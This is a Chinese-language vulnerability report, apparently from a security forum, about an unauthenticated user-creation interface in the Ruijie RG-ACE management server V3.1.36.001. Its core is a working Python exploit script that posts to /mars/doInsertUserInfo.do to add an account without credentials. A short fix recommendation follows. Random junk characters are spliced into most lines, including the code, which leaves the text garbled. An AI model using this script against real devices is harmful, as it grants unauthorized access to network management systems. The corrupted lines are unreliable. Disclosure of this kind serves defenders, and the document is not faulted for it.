锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
|5 ]7 s: Z' o7 h/ r& M( p9 v8 Y2 t% D5 X r9 r' U- X/ x1 a; H
5 @ V1 W9 ^$ b0 i' q9 C; S测试的具体版本是
# W, ^- G5 i' y# B! Z产品名称: 锐捷应用控制引擎
7 X# C# \( K3 _1 }: \版本号: 3.1.36.001 TC1 A! C$ O* `. K& H
编译时间: 201104291730
7 q1 r# |8 M. L) } # R( U# P/ J2 ]
) ~* ]0 ^, y( C# R) t5 {漏洞证明:$ C& |! V7 O, F: H
/ t: F# X2 k) T
9 s6 A- M1 k3 n: ?) \) f- F" {1 z1 H
# ^3 j- E) V* x
F6 h. i4 Q7 {. ^/ G9 C7 l
. X5 D r g0 n# p ?# O* ^# D; i' Z% d, y% u
执行脚本
- }" q: Y$ F) e, U/ U) c#! /usr/bin/env python5 e/ S# D: \2 v* I
#coding=gbk
. r# _! t& D/ k' a! ^8 y#RG-ACE管理服务器 V3.1.36.001
5 h. Y9 X; P- X: {8 himport urllib2, urllib,cookielib/ [4 p" z/ v2 O: K; x) B
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP4 b' Y; p- C/ ?8 t- F+ Y
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
( B5 w1 `8 J: d. Kopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')], `/ \% \* ]' c
post=(("event","userManager.doInsertUserInfo"),
6 Z, T1 q) K6 s("useractionname","addButtonValue"),, u9 j: i- c9 T B ~: ]4 P9 Y
("useropermanager","userManager"),
" l" b2 ^( \, |5 r3 n8 @. K("userName","t"), #######账号自己加
& W9 i) N4 x, b, w. i("pwd","aaaaaa"),######密码自己加
' d% r/ Y2 }& F2 h# m6 h) ~("trueName","ad"),
; Q, w* c4 Q2 ]4 f/ N6 v+ p, K& T3 A0 A) J("email",""),
5 h& s: K S4 m/ J& Q("mobilePhone",""),. r- B& Y, Z' F, h2 n1 l
("officePhone",""),5 i1 j& o8 d5 a( f" D9 v
("addr",""),6 I; x. x# {% V: c7 K- N
("submit","确定"))
, ~& ~2 c* Z" E* F i4 Rurllib2.install_opener(opener)
* g9 T7 M0 N( T- hp=urllib2.urlopen(url, urllib.urlencode(post)).read()2 U# h; ]0 X% v- _ D: @ }
print "Done") ~; S i. P4 ~4 j
- n" L0 Q/ c6 z5 G, }. ^登录,连接设备' x4 \ c( {# M7 J8 Q: F5 b
9 u+ M4 A. X% p# @
8 n+ u/ }9 Q- m$ I
; d$ ?0 Z( s- ]3 c7 U
# `2 q9 Y# b0 o5 Z. t8 }7 j
+ G8 Q! O& A$ o! s/ J* ` o6 I( N% v$ k默认的管理员admin权限更大点
+ G3 X4 Z w* ~" i, U8 u$ [6 M% ~7 d* ?- ^. H
" y) J# y2 z1 b( w% R: D1 y0 d. B3 E1 Z4 m* c
9 c0 G4 E; C2 L, B
* I7 [+ p* v1 x/ H6 `修复方案:: }3 g% K& z9 J! v
加强对接口的权限验证
) ?3 U! {* W* @, j8 o+ b( j% F8 j# m6 E6 a
|